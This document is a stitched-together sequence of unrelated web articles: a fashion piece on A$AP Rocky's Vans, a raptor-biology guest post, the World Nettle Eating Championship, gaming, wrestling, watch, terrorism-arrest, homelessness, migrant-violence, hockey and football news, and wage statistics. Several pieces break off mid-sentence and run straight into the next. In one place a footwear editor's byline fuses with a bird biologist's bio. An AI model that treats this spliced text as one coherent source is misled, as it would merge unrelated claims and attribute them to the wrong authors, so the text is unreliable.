Who says you can’t wear your sub $100 Vans with $1,000+ Gucci embroidered denim jacket? Never one to miss a trend, Rocky was mixing and matching high-end brands with steetwear staples like the Old Skool back in 2016 when Gucci was on top of the world.
Vans is What I’m Reppin
Pictured next to French Montana, Rocky stays light on his feet in the black Vans Old Skool.
Details
Switching up his laces for yellow set, Rocky poses in the streets wearing (you guessed it) the Vans Old Skools, and a pair of side-striped trousers.
Pass the Swisher
Leisurely smoking a blunt, Rocky once again rounds out his outfit with black Vans Old Skools, reminding us that is truly one of the most versatile sneakers of all time.
**BONUS**
Flames
Rocky is seen chilling with A$AP 12vy wearing what appears to be a pair of the “Flame” Vans Old Skool, hidden underneath a pair of baggy trousers that look like the AWGE x Needles collab.
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Words by Chris Danforth Footwear Editor Vancouver-born, Berlin-based writer, photographer and editor with a steady hand on the keyboard.Rob Miller, the author of this post, is a Raptor Biology student at Boise State University. His thesis is focused on the breeding Ecology of Northern Goshawks within a unique forest landscape in Southern Idaho. He is specifically investigating the diet of Northern Goshawks and how prey abundance influences nest occupancy and success. He maintains a blog, Rob’s Idaho Perspective, and will be an occasional guest author here at Nemesis Bird.
As many birders can attest, species identification can be very challenging at times. The challenge arises from the similarity of many related and sometimes not so related species. Complicating this is the ephemeral nature of birds in general. The dominant feature which makes them so intriguing – the ability to fly – helps them maintain their distance from would be predators and admirers alike. A bird in nature seldom presents itself to a viewer in a fashion presented in most field guides. But, sometimes they do…
Increasing the challenge of identification is the seasonal and regional differences in plumage within the same species. Plumage coloration is also related to the condition of the bird. In many songbirds for example, it has been shown that the coloration can be an honest signal of fitness. The greater the color richness and vibrancy of the adults within a species, the better the body condition, the stronger the immune system, and the higher the reproductive success. While raptors generally have more neutral coloration, there is evidence that the expression of certain pigments correlates with the strength of the immune system. Consider the expression of the color red in the tail of a Red-tailed Hawk or American Kestrel. This red color is believed to be directly correlated to immune system function. This connection is currently being investigated by another raptor biology student at Boise State University – Chris Porterfield.
Bird identification can also be challenging when a species presents itself in different color-morphs. As a raptor biologist this is a central issue in my field. Most raptor species present different color morphs, sometimes as many as three or four. These color morphs are not to be considered sub-species unless individuals of a given color morph begin to assortatively mate – mate only with other individuals with that color morph – and they evolve away from the central population. Color morphs are controlled by genetic factors and thus their prevalence within a population is related to the reproductive success of the individuals carrying the morph. If the morph increases reproductive success then you would expect a greater percentage of individuals in the population to carry the morph or vice-versa. There is some evidence that color morphs have little influence on reproductive success, but the relative rarity of dark morphs |
CAMRA award for West Dorset pub of the year.[4]
World Nettle Eating Championship [ edit ]
The Bottle Inn hosts the annual World Nettle Eating Championships as part of a charity beer festival.[5] Competitors are served 2-foot (0.61 m) long stalks of stinging nettles from which they pluck and eat the leaves. After an hour the bare stalks are measured and the winner is the competitor with the greatest accumulated length of nettles. The contest began in the late 1980s when two farmers argued over who had the longest stinging nettles in their field and evolved into the World Nettle Eating Championships when one of the farmers promised to eat any nettle which was longer than his. The championship has separate men’s and women’s sections and attracts competitors from as far afield as Canada and Australia.[6]
In June 2010 Sam Cunningham, a fishmonger from Somerset won the contest, after eating 74 feet (23 m) of nettles.[7]In June 2014 Phillip Thorne, a chef from Colyton, Devon won the contest, after eating 80 feet (24 m) of nettles.[8]. In 2017 the Overall Champion was Jonathan Searle from Solihull who munched his way through 70 feet of nettles whilst the Women's Prize went to Kate Ribton of Stoke St Gregory, in Somerset, who got through 28 feet (8.5 m) of the stinging beauties.[citation needed]
References [ edit ]
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A double XP weekend event for Battlefield 4 Premium members kicks off tomorrow, January 25, developer DICE announced today. The promotion begins tomorrow at 2 a.m. PDT and presumably ends sometime the morning of January 27, if history serves as precedent.
This is the second double XP event DICE has offered for Battlefield 4 Premium members this month, following a similar weekend promotion January 3-5. A Battlefield Premium subscription is $50 and also includes access to five expansions and other new content released on a weekly basis.
DICE has released numerous patches and updates for Battlefield 4 since launch, but a handful of issues continue to beset the game. As outlined through the game's Top Issues Tracker, all platforms continue to face issues like sudden frame rate drops, incorrect damage effects, rubber-banding, and a "desynchronized" game world where some objects have different states for different players. DICE is investigating those issues and others.
For more on Battlefield 4, check out GameSpot's review.There is currently a lot of buzz surrounding the idea of Hulk Hogan and Roddy Piper wrestling each other in some way at Wrestlemania XXX. For some, it’s about standing in the corners of other wrestlers similar to the first Wrestlemania main event where Superfly Jimmy Snuka was in Hulk Hogan and Mr. T’s corner while Cowboy Bob Orton stood in the corner of Roddy Piper and Paul Orndorff. There are others who want the two legends to wrestle, or even see Hulk Hogan go one on one with John Cena in the main event.
The idea of Hulk Hogan and Roddy Piper wrestling in 2014 brings me back to a Jim Cornette rant about Icons back in 1997, where he bantered about the idea of two old foggies like Hogan and Piper having the audacity to call themselves the “icons” of professional wrestling. He expressed embarrassment for their cage match and now we’re going to watch Hogan and Piper in 2014? Heck, the two guys Cornette said were closer to being icons in Bret “The Hitman” Hart and “The Heartbreak Kid” Shawn Michaels have both now been retired for years since then! It’s a bit embarrassing. While I’m not alone on it, I know there’s a lot of people (including fellow LWOS analyst Adam Contant) who love the idea of them wrestling because he focuses on the enjoyment of the crowd instead of the potential of it being extremely embarrassing for everyone involved. If you want to see what happens when old wrestlers get in the ring and everything goes wrong, here’s a link. And here’s a link. Oh here’s Hogan and Flair failing to turn back the clocks in 2009.
But the WWE does have all of these legends of the ring from the 70s, 80s and 90s. Surely they have some value beyond a few WWE Raw appearances and the Legend’s House reality show that we haven’t seen yet because it’s the golden jewel of the future WWE Network. There has to be something worth their while, right?
So I have an idea. And it comes from the UFC. Sort of.
I could write 2,000 words on the misuse of managers in today’s wrestling industry. One of the greatest points of value for a manager was immediate legitimacy when a wrestler was found by their side. If you saw Bobby “The Brain” Heenan come down to the ring with a wrestler you knew there was a chance this guy could win by being a part of the Heenan Family. Whether it be the Dangerous Alliance, the Four Horsemen, the Disciples of Synn or even the New World Order, being a part of an establishment with a figurehead gave you credibility on loan. Today, wrestlers debut all of the time and struggle to get people to care about them. They can’t throw on an nWo t-shirt and now have Eric Bischoff hype them up.
If the WWE doesn’t want to fully embrace managers anymore (aside from Zeb Colter and Paul Heyman, who seem to get veteran immunity status to this) they can do something else. When I first watched UFC, I remember that when people talked about Ken Shamrock, they also talked about The Lion’s Den. The Lion’s Den was the first mixed martial arts team formed in the United States, with Shamrock joining Vernon White and Guy Mezger. If you were a member of the Den, we knew it by the t-shirt. We knew it by the names in it. There was a credibility to being in the Lion’s Den. Someone might not know who you are until they find out what MMA team you’re fighting for.
So think about it. You got Hulk Hogan. You got guys in NXT you know are talented but nobody is going to really care about them at first. What if you announced on Twitter they signed with TEAM HULKAMANIA? That they were going to train in Tampa at Hogan’s Beach and the Hulkster himself was going to come to the ring with them in their first match? Suddenly, people have something to identify with these guys. But wait, it seems that one of them has left TEAM HULKAMANIA and he’s been seen signing documents with Rowdy Roddy Piper. Is it true? Yes, he’s joined the PIPER’S PIT. Now he’s coming down to the ring in a white t-shirt and you know his old friend on TEAM HULKAMANIA wants to know the scoop.
I haven’t said a word on who these guys are, if they are good wrestlers, just that they are talented but suddenly, without a single match, you have a reason to see them fight. It’s going to be the top Pro Wrestling teams squaring off with each other. It goes beyond just rookies. You need a reason to get a tag team together? Well Tyson Kidd is a member of the HART DYNASTY and Bret “The Hitman” Hart just told him that he signed a new member to the team: Evan Bourne! Now if the two start tag teaming, everyone knows why. They are both wearing pink shirts. Clearly they are members of the HART DYNASTY. Want to turn a wrestler heel? Word got out that Dolph Ziggler joined Ted Dibiase Sr. in MONEY INC. He just sold out! Want to turn a wrestler babyface? Alberto Del Rio doesn’t have to do some big speech about changing his ways. He can just take some time off and return as the newest member of Dusty Rhodes’s AMERICAN DREAM TEAM.
You now have all of these legends using their names and likenesses to help strengthen the product. Once a young wrestler establishes himself, he can move on from wearing his team t-shirt to wearing his own t-shirt (and yes, this means the WWE opens up extra t-shirt revenue with the Team shirts). WWE already played around with the team concept when doing the Rock/Cena feud. Now they can take it to another level. And while some legends can just make an appearance or two (the last thing you want is Ric Flair back on the road, well, if you want to run a respectable company) you can have other legends actually work as road agents and mentor these wrestlers. It’s an extra paycheck and a chance to once again travel like a superstar while giving back. And unlike seeing Hogan breaking a hip against a fat Roddy Piper in front of the world at Wrestlemania, it isn’t embarrassing.
Feel free to comment below, and follow me on twitter @AaronWrotkowski and the site @lastwordonsport. You can check out my personal blog A.W.A.W. Also follow @AdamContant @DeHaanoffate and @CrimsonSkorpion on the Last Word on Sports Wrestling team.
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During the Baselworld 2014 show, we spent some time debuting and discussing the this new steel version of the 5960 here. In that piece you can read a bit more about the history of the 5960 series, as well as why this family is important to Patek Philippe. In short, when the 5960 collection debuted in 2006, it marked the first ever in-house made automatic chronograph movement–in addition to being offered in platinum. Interestingly enough, this new 5960/1A seems to mark the end of all gold or platinum 5960 watches that will be produced, “replacing” them as Patek Philippe describes it.
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So the end of the precious metal era of the 5960 picks up with the era of the high-end steel models. And what a way to introduce steel than with such a marvelous new dial. I am not always Patek Philippe’s biggest fan but I offer praise where praise is due. Here we find a silvery opaline face with red accents and those marvelous black oxidized white gold hour markers and hands. I always take an opportunity to mention my appreciation of white-dialed sport watches. Patek gets it very right emphasizing both legibility and attractiveness.
White dials are all about high contrast when one wants to get it right. Black or dark colored hands and hour markers are necessary–and they are hard to get right much of the time. However, Patek Philippe’s special technique in oxidizing white gold to make it black is highly effective in creating crisp, matte black elements that are both nice to look at and offer excellent dial legibility. The black and white dial mixed with the two added red chronograph hands makes for a highly contemporary dial that is unlike most Patek Philippe timepieces out there.
Patek Philippe originally debuted these types of black oxidized gold hands and hour markers in 2011 on the reference 5270 Perpetual Calendar Chronograph (hands-on here). They have proved so popular that since then there seems to have been at least one new Patek watch to feature these each year. For 2014, we get them on the 5960, which really alters the look of this watch–which itself has always proved to be a controversial design. In my opinion this is easily the most interesting and eye-catching 5960 watch yet.
Upon inquiring with the brand as to the intention behind the novel dial design we are simply reminded that Patek Philippe President Thierry Stern’s goal is to produce more watches that will appeal to younger people. Apparently the message that too few modern Patek’s appeal to the new (in age or status) rich is resonating with Patek’s management. It is true, aside from models like the Nautilus, there are very few Patek Philippe models suitable for what you might consider an active lifestyle.
The almost race-style dial of the 5960/1A makes it the type of watch you don’t need to wear with a suit or formal attire. At 40.5mm wide the watch isn’t huge, but it is totally within the range of what most under 50 people are wearing. Even the numerals and fonts used on the dial are more modern that one might expect from a Patek. To that we offer a big thumbs up.Two youth, who were supposedly radicalised and sent over to Af-Pak region as recruits for Al Qaida by Mohamad Asif, an alleged operative of Al Qaida in Indian Subcontinent (AQIS), were students of country's premier Jamia Millia Islamia University.
The claim was recorded in interrogation report of Asif (41), who was arrested by the Special Cell of Delhi Police on December 14. Furthermore, the third person arrested from UP's Sambhal district on Wednesday evening, is an uncle of one of the youths, who are now believed to be fighting as mid-level soldiers in AQIS, after they successfully crossed over to Pakistan through Iran in 2013.
According to the Special Cell, the two youth, Rehan and Sharjeel, are from the national capital's Welcome area and Sambhal in Uttar Pradesh respectively. Sharjeel's uncle, Zaffar Masood, the latest arrest in the alleged AQIS module, also hails from Sambhal.
Earlier it had come to fore that Maulana Asim Umar, who was in September 2014 chosen to be the Amir (head) of AQIS by Al Qaida chief Ayman al Zawahiri, was a resident of Sambhal. Umar crossed over to Pakistan in 1995 and had fought alongside Harkat-ul-Mujahideen, a group originally formed in 1985 after breaking out from Harkat-ul-Jihad al-Islami (HUJI). In 1993, the group merged with HUJI to form Harkat-ul-Ansar under the leadership of Abdelkader Mokhtari, an Algerian commander who later came to be known for his participation in the Bosnian war.
"Zaffar, the uncle of one of the youths, has told us that the claims made by Asif might have credibility as his nephew had spent quite a time in Delhi as a student," said a senior police officer. Local police in Welcome when contacted by dna said, "We are not aware of the whereabouts of anyone by the name of Rehan". The Special Cell said that their investigators are figuring out the addresses of the youth. Officials did not specify whether they had any fresh information about the two youth.
Asif, along with Sharjeel and Rehan, is said to have entered into Pakistan through Iran in June 2013 after procuring travellers' visa on the pretext of performing ziyarat at the shrine of the late Grand Ayatollah Khomaini in Tehran.
"Asif was in touch with Zaffar who introduced him to Sharjeel. Asif motivated Sharjeel to join AQIS who in return persuaded Rehaan to do the same," said a senior police officer.A person code named Qasim was Asif's main contact and also facilitated his travel after the duo got in touch through social media in 2012.
"After landing in Tehran, Asif is said to have contacted Qasim who approached them at the hotel where they were staying. The three then travelled from Zahedan, to Sarwan where they were picked up by another contact of Qasim. From Sarawan, they reached the Iran-Pakistan border and crossed it over foot," said Arvind Deep, Special Commissioner, Special Cell. The three reached North Waziristan after crossing Quetta, Ghazni and South Waziristan.
Asif, after dropping Sharjeel and Rehan in North Waziristan, is said to have returned by the same route in September, 2014 but was apprehended by Iranian Security agencies on his way.The contacts of Al Qaeda ensured that he was transited to Turkey and after some days, accused Asif approached Indian embassy where he told the officials there that he had lost his passport. He was sent back to India on emergency certificate.
Police custodyMeanwhile, Zaffar and Abdul Rehman (37), were remanded to 12-day police custody by a Delhi court. Rahman, who was arrested from Jagatpur area of Cuttack in Odisha, runs a Madrasa. Rahman, according to the Special cell is the brother of one Tariq Ali who was arrested after 2001 bombing of American cultural centre in Kolkata.Homelessness doesn't always look like this.
New research indicates New Zealand has some of the worst rates of homelessness in the developed world.
At the last census in 2013 there were roughly 41,705 Kiwis who were "severely housing deprived" - about 1 per cent of the population.
Using data from the Organisation for Economic Co-operation and Development (OECD), a Yale study has compared the statistics to those from other developed nations, which put New Zealand on top of the list on a per-capita basis - although the researchers note significant comparability issues thanks to the differing ways each country measures homelessness.
ALDEN WILLIAMS / FAIRFAX NZ 1497 people were sleeping rough or in their cars in 2013, but a much higher number were in other temporary arrangements.
Labour's housing spokesman Phil Twyford said this research shows we have "the worst level of homelessness in the world".
READ MORE:
* Govt spent record $12m on emergency housing in motels over last three months
* Government 'failing in most basic duty' as 24,000 Aucklanders homeless, Labour claims
* Homeless man dies on the Auckland cemetery bench he called home
* Memorial for homeless man to be held at south Auckland church where he died
* Homelessness not just an Auckland problem
* Motel emergency housing costing $18K a week on Auckland's North Shore
He also believes the number will have gotten far higher in the last four years.
CHRISTEL YARDLEY/FAIRFAX NZ A woman staying in a motel funded by an emergency housing grant. The government spent $12.6m on the grants in the last three months.
"We know that the housing market is much tougher now. There is an acute housing shortage, Housing New Zealand's waiting list as blown out, and anecdotally people like the Salvation Army are saying they have never seen homelessness this bad."
Figures released on Thursday showed the Government spent a record $12.6m in the last three months paying for short-term seven-day motel stays for those in desperate need, up from $8.8m in the first three months of the year.
And new numbers out on Friday showed there were currently 5353 suitable applicants on a waitlist for social housing, up from 3877 at the same time last year. Almost 3700 of those were top priority and considered "at risk".
Almost half of those on the list are Maori and over 2400 applicants had children.
Both the Greens and Labour argue that instead of spending money on motel stays the Government should prioritise building more state houses.
"Thousands of families are in desperate need and are stuck waiting for a home. That is a sign of massive Government failure," Green Party co-leader James Shaw said.
STUFF Labour's Phil Twyford: "We have the worst level of homelessness in the world."
"Meanwhile, National is still continuing its programme of selling off state houses, while at the same time part-nationalising the motel industry. It makes absolutely no sense."
Twyford said it was "bloody unbelievable".
"It's not a housing policy it's an admission of failure, the ultimate in short-termism."
FAIRFAX NZ Green co-leader James Shaw: "Thousands of families are in desperate need and are stuck waiting for a home."
Deputy Prime Minister Paula Bennett, who was social housing minister until late-2016, told the AM Show on Friday morning that "in hindsight" the Government could have acted earlier on emergency housing.
"We had no idea it would ever be this big. No Government had ever picked up the bill for this. No Government has ever funded emergency housing," Bennett said.
Social Housing Minister Amy Adams said the Government had stepped up the response to the rising need.
MONIQUE FORD/STUFF Deputy PM Paula Bennett: "We had no idea it would be this big."
"Winter is seeing an increase in the number of people needing support. Our primary focus is getting help to those who need it, and while demand has increased, help is there for those who need it," Adams said.
"Part of the drive behind the higher demand is rising rents affecting those with low incomes. We're aware of this pressure, which is why the Government is lifting Accommodation Supplements as part of our $2 billion Family Incomes Package.
"More social housing is also needed, and the 13,500 new social houses in Auckland and hundreds of others we're building across the country will help.
CAMERON BURNELL/FAIRFAX NZ Social Housing Minister Amy Adams: "While motels are not ideal, they are warm and dry, and preferable to families sleeping rough during the coldest months of the year."
"While motels are not ideal, they are warm and dry, and preferable to families sleeping rough during the coldest months of the year."
But Twyford said the Government were just making empty promises.
"After last year's winter of misery Paula Bennett promised hundreds of millions of dollars and 1400 additional housing beds. In the 10 months that have followed they have only increased the number by something like 300.
"In the mean time they continue to run down the stock of state housing," Twyford said.
"The amount they have taken out of Housing New Zealand in taxes and dividends could have built 5000 more state houses.
Labour say there are 2000 fewer state houses than there were when National took office.
ARE WE REALLY THE WORST?
The OECD data that showed New Zealand as the worst country in the world for homelessness has some comparability issues.
Different studies treat homelessness differently. The "1 per cent" figure for New Zealand includes those who are living in temporary arrangements such as a severely crowded friend's house or a boarding house.
Just 4197 - or 0.1 per cent of the population - were literally sleeping in the streets or in their cars when the 2013 census was taken.
Yet New Zealand is not alone in using this wider definition of homelessness: Australia, Germany, and many other OECD nations also look at more than just those sleeping rough.I am a new lifter, just starting the "Starting Strength" program and after just a week figured out that my more or less generic running shoes weren't going to cut it under the bar. I felt like I was lifting on a bed of marshmallows. I hesitated to spend the money for a "Full-bore" set of lifting shoes and looked at several shoes around the hundred dollar mark but finally decided to man up and get the right shoes for the job. Even though I initially was a bit hesitant about spending this much on "A pair of shoes", I am very glad I did. Go big or go home.
These shoes are great. I felt much more stable under the bar for squats and pulling deadlifts. My heels stayed planted on the ground and my feet were rock solid. Much easier to execute the lifts with proper form.
A lot of folks seem to complain that the toe box is too tight, but for my average-to slightly wide foot it was great. I wore the shoes around the house for a couple of hours after I got them then last night then took them to lift for the first time this morning. They had stretched ever so slightly and felt perfect. My feet didn't move at all under load and my form was noticeably better. Given that the fit is somewhat different if you are not used to lifting shoes, I still ordered my regular size and they fit fine.
Don't shortchange yourself, order these shoes, get under the bar and squat.VIOLENCE erupted between gangs of club-wielding migrants on the streets of central Paris last night.
Groups fought running battles using wooden staves as weapons around the Stalingrad Metro station in the northern district of the capital.
Rex Features 10 Violence broke out between migrants in a makeshift Paris campsite last night
Rex Features 10 Shocking images emerged of dozens of men wielding clubs and bats as gangs clashed in the street
Rex Features 10 The violence broke out in the Stalingrad district of the French capital near the area's metro station
Up to 2,000 migrants are believed to be camping in the area after being told the leave Calais's notorious Jungle camp last week.
And tensions between rivals factions boiled over into violence as riot police were called to the disturbance involving dozens of men.
Tents could be seen pitched on the pavement as men swung wooden sticks at eachother.
related stories JUNGLE KIDS Migrant children removed from Calais jungle - a week after demolition began FINALLY CLEARED Dramatic Calais Jungle before and after pics show how the migrant squat has been demolished 'I'M SO HURT' Agony of Brit dad whose wife left him for an Afghan migrant she plans to MARRY after they met while she was volunteering in the Calais Jungle THE BATTLE FOR PARIS Riot police smash migrant camps that sprang up following destruction of Calais Jungle Exclusive GOD ALP US! Migrants moved from Jungle to beautiful Alpine resort are already making new plans to get to the UK
Paris regularly clears out makeshift camps that spring up in the city.
But the latest at Stalingrad - named after the Second World War's bloodiest battle - has been bolstered by those booted out of the Channel port of Calais.
Many of those camped in the area are believed to be fleeing conflict in Syria, Somalia, Afghanistan and the Sudan.
Police have raided the site more than 30 times to little avail.
It is located just a stone's throw from Paris's Gare du Nord Eurostar terminal.
10 Stalingrad is located in the northern district of central Paris
Rex Features 10 Thousands of migrants have set up a camp in the central Paris district, with many of them joining since the Calais migrant camp was shut down last week
Rex Features 10 Riot police rushed to the scene after violence broke out between competing gangs between the tents that now house hundreds of migrants
Rex Features 10 Roaming gangs could be see hiding behind buildings as they prepared to clash with their rivals. Many of the migrants hail from war-torn nations such as Somalia, Syria and Afghanistan
French President Francois Hollande yesterday confirmed he would not allow migrants to re-start the Calais Jungle.
Most of those living in the often squalid conditions of the camp were trying to reach the UK.
But a defiant Hollande said: "It's been cleared, it will be made secure and no-one will be able to go back there."
Last week a French mayor admitted it was all but impossible to stop another Calais camp springing up.
Boris Ravignon, the Mayor of Charleville-Mézières, warned: "They are not held prisoners in Charleville.
Getty Images 10 Several versions of the campsite have sprung up at the Stalingrad site over the last few years
Getty Images 10 The settlement has been broken up more than 30 times by French police, but authorities admit they are virtually powerless to prevent another springing up
Photoshot 10 More than seven thousand migrants were recently ordered out of the Calais Jungle, many of whom moved to the Stalingrad camp (pictured)
“So if some of them want to go back to Calais, I don’t see who will stop them from doing so.
“I don’t think the operation will be a success at all.
“They have managed to erase the problem in Calais but we are running the risk of having small problems all across the country.”
He added: “I think France and the UK have to sit at the same table and discuss how to deal with this problem.
“If I were British I would be in a way ashamed at there being so many people across the Channel living in bad conditions.”
We pay for your stories! Do you have a story for The Sun Online news team? Email us at tips@the-sun.co.uk or call 0207 782 4368In the near future, you may be able to eat a robot that will heal you or provide nutrients.
It may sound like science fiction, but researchers are closing in on the creation of an ingestible robot that can perform a variety of functions from within the human body.
At the International Conference on Intelligent Robots and Systems in Vancouver last week, researchers from Switzerland’s École Polytechnique Fédérale de Lausanne (EPFL) presented a prototype of a gelatin-based actuator, according to the Institute of Electrical and Electronics Engineers’ magazine, Spectrum.
An Edible Actuator for Ingestible Robots https://t.co/AJiY47t5zV — IEEE Spectrum (@IEEESpectrum) October 5, 2017
Actuators are the components that allow a mechanism to physically move. So, while doctors can already insert machines like pacemakers into your body, those are stationary and also require invasive surgery.
It’s unlikely that the gelatin robots are very tasty, but they would have a wide variety of applications. The researchers in their paper explain that “the components of such edible robots could be mixed with nutrient or pharmaceutical components for digestion and metabolization.
“Potential applications are disposable robots for exploration, digestible robots for medical purposes in humans and animals, and food transportation where the robot does not require additional payload because the robot is the food,” they add.
And the robots wouldn’t be limited to just human use either.
“Fully edible robots would help to study how wild animals collectively behave. The robots could also take a role of animals prey to observe their hunting behaviors, or to train protected animals to do predation,” the researchers write.
“Once medical components are mixed into the edible composition, the robots could help preservation of wild animals or heal inside of the human body,” they add.A teenage band in Kashmir has been threatened with abuse and accused of "inviting rape," forcing the girls to quit music.
The Daily Mail / Via dailymail.co.uk
Kashmir's first all-girl band has called it quits after the region's senior Islamic cleric issued a fatwa against them. The members of Pragaash, a Kashmiri word that means "from darkness to light," have been the subject of escalating threats in the past month. The girls, 16-year-old vocalist Noma Nazir, drummer Farah Deeba, and guitarist Aneeka Khalid, both age 15, formed their trio at a music institute where they all took classes after school. Nazir confirmed the split to Indian media today. "We have decided to quit in deference to the decree of the Grand Mufti, who knows religion more than we do," Nazir said. "I thank all those people who supported our decision to form the band and encouraged us during the last two years."
Pragaash became the target of conservative Kashmiri factions after their first public performance last December. The girls won third place in a Battle of the Bands in Jammu and Kashmir's capital city. Shayan Nabi / AP
The trio began to book live shows after the Battle of the Bands, but the abuse and threats that poured into social networking sites soon forced them out of the spotlight and into the studio. "First, the girls had decided to quit live performance due to an online hate campaign and concentrate on making an album," Adnan Mattoo, the rock group's music teacher and manager, told The Associated Press. "But after an edict by the government's own cleric, these girls are saying goodbye to music." On Sunday, Grand Mufti Mohammad Bashiruddin, the leading religious scholar of the Indian state of Jammu and Kashmir, issued fatwa against the members of Pragaash and Chief Minister Omar Abdullah for publicly supporting them. Bashiruddin told the The Tribune that the girls in the band were "non-serious" and their behavior could lead to "gang rape": "Shameful incidents like gang rapes, that happened in Hindustan recently, are a result of all this. It happens when women are given freedom to roam around, sing and dance."
"When girls and young women stray from the rightful path... such non-serious acts are the first steps towards national disaster." Contrary to popular belief, a fatwa is not a death sentence. Rather, it is an advisory or ruling issued by a mufti, an Islamic scholar who has knowledge of theology, religious jurisprudence, and law. In spite of this, a fatwa can encourage fundamentalist groups to violence. The Hindu reports that soon after the fatwa was issued, a radical Kashmiri women's outfit called the Dukhataarn-e-Millat threatened a "social boycott" of the girls and their families if the band continued to perform. The fundamentalist women's organization has been outlawed in the Kashmir Valley since 1990 and grabbed headlines in 1992–1993 for "enforcing the Islamic dress code allegedly by sprinkling acid on young girls wearing jeans [who were] refusing to clad the 'Abbaya.'" The members of Pragaash have not appeared in public since the controversy began, instead using telephone interviews and Facebook posts to announce that they have all quit the band and do not intend to play music in the future.
A cursory search of the comments on the band's official Facebook page and fan pages give an idea of the disturbing threats that these teenage girls have received:
Via Facebook: praagaashforever The members of Pragaash pose for a photo on their official Facebook page.On Thanksgiving Day 2013 the San Jose Sharks, fresh off a thrilling shootout victory over the Los Angeles Kings, were first in the Pacific Division with a 16-3-5 record. They boasted a whopping +32 goal differential that ranked second in the league only to the St. Louis Blues team they would crush 6-3 a day later.
What a difference a year makes.
This Thanksgiving the Sharks are fifth in the Pacific, outside playoff position, at 10-10-4 with a minus-4 goal differential and 20 fewer goals scored in the same number of games. There are myriad reasons for this, ranging from a road-heavy early schedule to an offensive regression by some of their young players to plain old bad luck, but given how similar this season's roster looks on paper compared to last year's it makes sense to focus on the team's one substantive offseason change: moving Brent Burns back to defense.
Ultimately that's the biggest difference between the Sharks team that steamrolled the league through the first quarter of last season and the one that currently finds itself outside of a playoff spot, a historically ominous sign at this point in the campaign. Last year's squad had three lines that could score at even-strength with regularity, buoyed by Burns' dominant presence on the forecheck and in the scoring area with the top line and the resulting luxury of Joe Pavelski centering the third, while this year's team lacks offensive depth and has a 5-on-5 goal scoring rate better than only the Winnipeg Jets and Buffalo Sabres.
Again, Burns manning the blueline rather than wreaking havoc on the wing isn't the only reason for this; no single player is quite that valuable. It's true that the Sharks should expect an uptick in their woeful 6.3% 5-on-5 shooting percentage—though perhaps not as much of one as you'd think, given that they shot just 6.9% at evens from 2010 through 2013, prior to Burns' first full season at forward. It's also true that key forwards like Logan Couture, Tomas Hertl and Matt Nieto have been underperforming offensively which is as significant a reason for San Jose's even-strength struggles as the absence of Burns up front. But the Sharks are 22nd in the league in 5-on-5 shot rate and are struggling nightly to create more than a handful of grade-A chances at even-strength. And even the aforementioned individual struggles aren't occurring in a vacuum; Hertl's early-season dominance last year came almost exclusively with Burns on his opposite wing while Pavelski being freed up to center Nieto or Tommy Wingels would likely provide those players an offensive boost. To give themselves the best chance at saving this season by becoming one of the few teams to make the playoffs after being out of it on Thanksgiving, it's time for the Sharks to cut their losses and move Burns back to forward.
Burns is a mediocre defenseman at best
What should make this decision a much easier one is the fact that Burns has been average at best so far on the blueline. When announcing the decision to move him back, Doug Wilson spoke of Burns in the same breath as franchise defensemen like Drew Doughty and P.K. Subban. Burns' play so far on defense makes those comparisons seem ridiculous in hindsight. The venerable Jake Barrow has been tracking zone exits for the Sharks this season. According to his data, through the first 21 games of the season, Burns successfully advanced the puck out of the defensive zone 101 times. He turned the puck over while trying to advance it 110 times. When Burns touched the puck in the defensive zone over the first quarter of the season it was more likely to end up on an opponent's stick than result in a successful zone exit for the Sharks. That's not exactly what you want to see out of the guy you shifted back to defense specifically for his supposed puck-moving abilities.
When Burns touched the puck in the defensive zone over the first quarter, it was more likely to end up on an opponent's stick than result in a successful zone exit
Those turnovers, his general permissiveness in the neutral zone and poor reads in his own end have combined to result in Burns having extremely poor defensive statistics in the early going. With Burns on the ice at 5-on-5, the Sharks have given up an average of 59.5 shot attempts against per 60 minutes, good for the 35th-worst Corsi Against/60 among the 168 defensemen who have logged at least 200 5-on-5 minutes this season. San Jose gives up |
built this new facility at our expense for the needs of the detainees. We’re proud of our record.”
Meanwhile, CSC, which employs a former INS official as a senior vice president, stands to earn up to $22 million a year in federal dollars in Tacoma and close to the same in Texas.
With its well-documented and tragic history, the real cost could be much greater.Chelsea and Man City were fined following an on-field fracas in December
Chelsea were fined £100,000 for a mass player confrontation despite claims their "culture changed" under manager Antonio Conte, the Football Association has revealed.
An independent commission has disclosed why Chelsea and Manchester City were fined following a fracas on the pitch last month, in written reasons published by the FA.
Both clubs admitted a charge for failing to control their players in added time of the Premier League game on December 3 last year, but requested a personal hearing with the commission.
Chelsea won 3-1 at the Etihad Stadium, with Manchester City's Fernandinho and Sergio Aguero sent off during the fracas.
Chelsea were fined £100,000 and City sanctioned £35,000 for the same incident.
Sergio Aguero was sent off for a challenge on David Luiz
"The commission was not unanimous as to which party actually caused the mass confrontation," ruled the panel, chaired by Gareth Farrelly. "There was considerable deliberation as to whether the Sergio Aguero tackle [on David Luiz, which led to his sending-off] was the primary instigator of the incident or whether the Nathaniel Chalobah push [in the aftermath] was responsible."
The panel, which also included Udo Onwere and Ifeanyi Odogwu, decided by a majority that the nature of Aguero's tackle was the main reason for the confrontation.
Watch highlights of Manchester City 1-3 Chelsea Watch highlights of Manchester City 1-3 Chelsea
It was noted that Manchester City had a "previous unblemished record".
Jim Sturman QC, representing Chelsea, told the commission that: "...The culture of the club had changed under the new manager (Antonio Conte)."
Chelsea also argued: "...There was no sustained aggression and the incident did not last long. There was no disrespect shown to the referee and this incident was less serious than previous infractions."
Former Italy coach Antonio Conte took charge of Chelsea in the summer
Yousif Elagab, representing the FA, told the panel: "The FA to some degree understood the players' reactions but a key point of concern in this case was the fan involvement, and the fans being close to the field of play."
The commission ruled that both clubs were "equally culpable" as the game was a "high profile, top-of-the-table clash with a worldwide audience."
The written reasons do not reveal whether a points deduction was considered but the commission acknowledged that the prompt admission of guilt from both clubs reduced their punishment.
Chelsea received a higher fine after the panel considered six previous breaches of the same rule since 2011, worth nearly £500,000.In most metropolitan areas, single industry drives any big increase in average worker wages, according to quarterly government survey.
The San Francisco area led the country in wage growth fueled by the surging tech sector (Photo: Marcio Jose Sanchez AP) Story Highlights Average wage of U.S. worker was $1,000 per week, up 4.7% from 2011. Pay rose 10% in some areas
Wages in natural resources and mining rose 6.1% nationally
Tech sector drove wages in San Francisco area up 24.7%
The average wage of a U.S. worker was $1,000 per week in the fourth quarter of 2012, or 4.7% higher from the same time in 2011, according to the Bureau of Labor Statistics (BLS). In some areas, pay rose than 10%.
In the San Francisco metropolitan area, the average wage grew by nearly 25%, more than any area in the country. Based on the BLS Quarterly Census of Employment and Wages, these are the cities with the biggest increases in pay.
